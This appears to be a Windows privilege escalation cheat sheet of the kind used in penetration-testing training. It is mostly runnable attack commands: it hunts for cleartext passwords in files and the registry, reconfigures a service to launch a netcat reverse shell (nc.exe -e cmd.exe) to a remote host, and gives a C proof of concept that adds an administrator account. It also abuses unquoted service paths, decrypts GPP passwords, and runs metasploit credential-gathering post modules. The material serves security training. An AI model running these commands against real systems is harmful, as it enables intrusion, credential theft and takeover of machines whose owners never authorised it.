

Privilege Escalation Windows

We now have a low-privileges shell that we want to escalate into a privileged shell.

Basic Enumeration of the System

Before we start looking for privilege escalation opportunities we need to understand a bit about the machine. We need to know what users have privileges. What patches/hotfixes the system has.

```
# Basics

systeminfo

Hostname

# Who am I?

whoami

echo %username%

# What users/localgroups are on the machine?

net users

net localgroups

# More info about a specific user. Check if user has privileges.

net user user1

# View Domain Groups

net group /domain

# View Members of Domain Group

net group /domain <Group Name>

# Firewall

netsh firewall show state

netsh firewall show config
```

```
# Network

ipconfig /all

route print

arp -A


# How well patched is the system?

wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Cleartext Passwords

Search for them

```
findstr /si password *.txt

findstr /si password *.xml

findstr /si password *.ini


#Find all those strings in config files.

dir /s *pass* == *cred* == *vnc* == *.config*


# Find all passwords in all files.

findstr /spin "password" *.*

findstr /spin "password" *.*
```

In Files

These are common files to find them in. They might be base64-encoded. So look out for that.

```
c:\sysprep.inf

c:\sysprep\sysprep.xml

c:\unattend.xml

%WINDIR%\Panther\Unattend\Unattended.xml
```

```
%WINDIR%\Panther\Unattended.xml

dir c:\*vnc.ini /s /b

dir c:\*ultravnc.ini /s /b

dir c:\ /s /b | findstr /si *vnc.ini
```

In Registry

```
# VNC

reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters

reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s
```

Service only available from inside

Sometimes there are services that are only accessible from inside the network. For example a MySQL server might not be accessible from the outside, for security reasons. It is also common to have different administration applications that is only accessible from inside the network/machine. Like a printer interface, or something like that. These services might be more vulnerable since they are not meant to be seen from the outside.

```
netstat -ano
```

Example output:

Proto	Local address	Remote address	State	User	Inode	PID/Program name
-----	-----	-----	-----	-----	-----	-----
tcp	0.0.0.0:21	0.0.0.0:*	LISTEN	0	0	-
tcp	0.0.0.0:5900	0.0.0.0:*	LISTEN	0	0	-
tcp	0.0.0.0:6532	0.0.0.0:*	LISTEN	0	0	-
tcp	192.168.1.9:139	0.0.0.0:*	LISTEN	0	0	-
tcp	192.168.1.9:139	192.168.1.9:32874	TIME_WAIT	0	0	-
tcp	192.168.1.9:445	192.168.1.9:40648	ESTABLISHED	0	0	-
tcp	192.168.1.9:1166	192.168.1.9:139	TIME_WAIT	0	0	-
tcp	192.168.1.9:27900	0.0.0.0:*	LISTEN	0	0	-
tcp	127.0.0.1:445	127.0.0.1:1159	ESTABLISHED	0	0	-
tcp	127.0.0.1:27900	0.0.0.0:*	LISTEN	0	0	-
udp	0.0.0.0:135	0.0.0.0:*		0	0	-
udp	192.168.1.9:500	0.0.0.0:*		0	0	-

Look for **LISTENING/LISTEN**. Compare that to the scan you did from the outside. Does it contain any ports that are not accessible from the outside?

If that is the case, maybe you can make a remote forward to access it.

Port forward using plink

```
plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
```

Port forward using meterpreter

```
portfwd add -l <attacker port> -p <victim port> -r <victim ip>
```

```
portfwd add -l 3306 -p 3306 -r 192.168.1.101
```

So how should we interpret the netstat output?

Local address 0.0.0.0

Local address 0.0.0.0 means that the service is listening on all interfaces. This means that it can receive a connection from the network card, from the loopback interface or any other interface. This means that anyone can connect to it.

Local address 127.0.0.1

Local address 127.0.0.1 means that the service is only listening for connection from the your PC. Not from the internet or anywhere else. **This is interesting to us!**

Local address 192.168.1.9

Local address 192.168.1.9 means that the service is only listening for connections from the local network. So someone in the local network can connect to it, but not someone from the internet. **This is also interesting to us!**

Kernel exploits

Kernel exploits should be our last resource, since it might but the machine in an unstable state or create some other problem with the machine.

Identify the hotfixes/patches

```
systeminfo# or  
  
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Python to Binary

If we have an exploit written in python but we don't have python installed on the victim-machine we can always transform it into a binary with pyinstaller. Good trick to know.

Scheduled Tasks

Here we are looking for tasks that are run by a privileged user, and run a binary that we can overwrite.

```
schtasks /query /fo LIST /v
```

This might produce a huge amount of text. I have not been able to figure out how to just output the relevant strings with `findstr`. So if you know a better way please notify me. As for now I just copy-paste the text and past it into my linux-terminal.

Yeah I know this ain't pretty, but it works. You can of course change the name SYSTEM to another privileged user.

```
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
```

Change the upnp service binary

```
sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e  
c:\Windows\system32\cmd.exe"  
  
sc config upnphost obj= ".\LocalSystem" password= ""  
  
sc config upnphost depend= ""
```

Weak Service Permissions

Services on windows are programs that run in the background. Without a GUI.

If you find a service that has write permissions set to `everyone` you can change that binary into your custom binary and make it execute in the privileged context.

First we need to find services. That can be done using `wmic` or `sc.exe`. Wmci is not available on all windows machines, and it might not be available to your user. If you don't have access to it, you can use `sc.exe`.

WMCI

```
wmic service list brief
```

This will produce a lot out output and we need to know which one of all of these services have weak permissions. In order to check that we can use the `icaccls` program. Notice that `icaccls` is only available from Vista and up. XP and lower has `caccls` instead.

As you can see in the command below you need to make sure that you have access to `wimc`, `icaccls` and write privilege in `C:\windows\temp`.

```
for /f "tokens=2 delims='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt

for /f eol^=^^^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icaccls "%a"
```

Binaries in system32 are excluded since they are mostly correct, since they are installed by windows.

sc.exe

```
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt

FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt

FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt

FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```

Now you can process them one by one with the `caccls` command.

```
caccls "C:\path\to\file.exe"
```

Look for Weakness

What we are interested in is binaries that have been installed by the user. In the output you want to look for `BUILTIN\Users:(F)`. Or where your user/usergroup has (F) or (C) rights.

Example:

```
C:\path\to\file.exe

BUILTIN\Users:F

BUILTIN\Power Users:C

BUILTIN\Administrators:F

NT AUTHORITY\SYSTEM:F
```

That means your user has write access. So you can just rename the `.exe` file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.

Here is a POC code for getsuid.

```
#include <stdlib.h>int main () {int i;

    i = system("net localgroup administrators theusername /add");return 0;

}
```

We then compile it with mingw like this:

```
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
```

Restart the Service

Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed. We can do this by using `wmic` or `net` the following way:

```
wmic service NAMEOFSERVICE call startservice

net stop [service name] && net start [service name].
```

The binary should now be executed in the SYSTEM or Administrator context.

Migrate the meterpreter shell

If your meterpreter session dies right after you get it you need migrate it to a more stable service. A common service to migrate to is winlogon.exe since it is run by system and it is always run. You can find the PID like this:

```
wmic process list brief | find "winlogon"
```

So when you get the shell you can either type `migrate PID` or automate this so that meterpreter automatically migrates.

<http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html>

Unquoted Service Paths

Find Services With Unquoted Paths

```
# Using WMIC

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v ""

# Using sc

sc query

sc qc service name
```

```
# Look for Binary_path_name and see if it is unquoted.
```

If the path contains a space and is not quoted, the service is vulnerable.

Exploit It

If the path to the binary is:

```
c:\Program Files\something\winamp.exe
```

We can place a binary like this

```
c:\program.exe
```

When the program is restarted it will execute the binary `program.exe`, which we of course control. We can do this in any directory that has a space in its name. Not only `program files`.

This attack is explained here:

<http://toshellandback.com/2015/11/24/ms-priv-esc/>

There is also a metasploit module for this is: `exploit/windows/local/trusted_service_path`

Vulnerable Drivers

Some driver might be vulnerable. I don't know how to check this in an efficient way.

```
# List all drivers
```

```
driverquery
```

AlwaysInstallElevated

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
```

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
```

<http://toshellandback.com/2015/11/24/ms-priv-esc/>

Group Policy Preference

If the machine belongs to a domain and your user has access to `System Volume Information` there might be some sensitive files there.

First we need to map/mount that drive. In order to do that we need to know the IP-address of the domain controller. We can just look in the environment-variables

```
# Output environment-variables
```

```
set
```

```
# Look for the following:
```

```
LOGONSERVER=\\NAMEOFSERVER
```

```
USERDNSDOMAIN=WHATEVER.LOCAL
```



```
# Look up ip-address

nslookup nameofserver.whatever.local


# It will output something like this

Address: 192.168.1.101


# Now we mount it

net use z: \\192.168.1.101\SYSVOL


# And enter it

z:


# Now we search for the groups.xml file

dir Groups.xml /s
```

If we find the file with a password in it, we can decrypt it like this in Kali

```
gpp-decrypt encryptedpassword

Services\Services.xml: Element-Specific Attributes

ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element,
ImmediateTaskV2 Inner Element

Printers\Printers.xml: SharedPrinter Element

Drives\Drives.xml: Element-Specific Attributes

DataSources\DataSources.xml: Element-Specific Attributes
```

Escalate to SYSTEM from Administrator

On Windows XP and Older

If you have a GUI with a user that is included in Administrators group you first need to open up `cmd.exe` for the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do `Run as Administrator` you might need to know the Administrators password. Which you might not know. So instead you

open up the cmd from `c:\windows\system32\cmd.exe`. This will give you a cmd with Administrators rights.

From here we want to become SYSTEM user. To do this we run:

First we check what time it is on the local machine:

```
time

# Now we set the time we want the system CMD to start. Probably one minuter after
the time.

at 01:23 /interactive cmd.exe
```

And then the cmd with SYSTEM privs pops up.

Vista and Newer

You first need to upload PsExec.exe and then you run:

```
psexec -i -s cmd.exe
```

Kitrap

On some machines the `at 20:20` trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute `vdmallowed.exe`. I think it only works with GUI.

```
vdmallowed.exe

vdmexploit.dll
```

Using Metasploit

So if you have a metasploit meterpreter session going you can run `getsystem`.

Post modules

Some interesting metasploit post-modules

First you need to background the meterpreter shell and then you just run the post modules. You can also try some different post modules.

```
use exploit/windows/local/service_permissions

post/windows/gather/credentials/gpp

run post/windows/gather/credential_collector
```

```
run post/multi/recon/local_exploit_suggester
```

```
run post/windows/gather/enum_shares
```

```
run post/windows/gather/enum_snmp
```

```
run post/windows/gather/enum_applications
```

```
run post/windows/gather/enum_logged_on_users
```

```
run post/windows/gather/checkvm
```

References

<http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/>
<http://www.fuzzysecurity.com/tutorials/16.html>
<https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/>
<http://it-ovid.blogspot.cl/2012/02/windows-privilege-escalation.html>
<https://github.com/gentilkiwi/mimikatz>
<http://bernardodamele.blogspot.cl/2011/12/dump-windows-password-hashes.html>
<https://www.youtube.com/watch?v=kMG8lsCohHA&feature=youtu.be>
https://www.youtube.com/watch?v=PC_iMqiuIRQ
<http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/>
<https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp>
<http://pwnwiki.io/#!/privesc/windows/index.md>
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html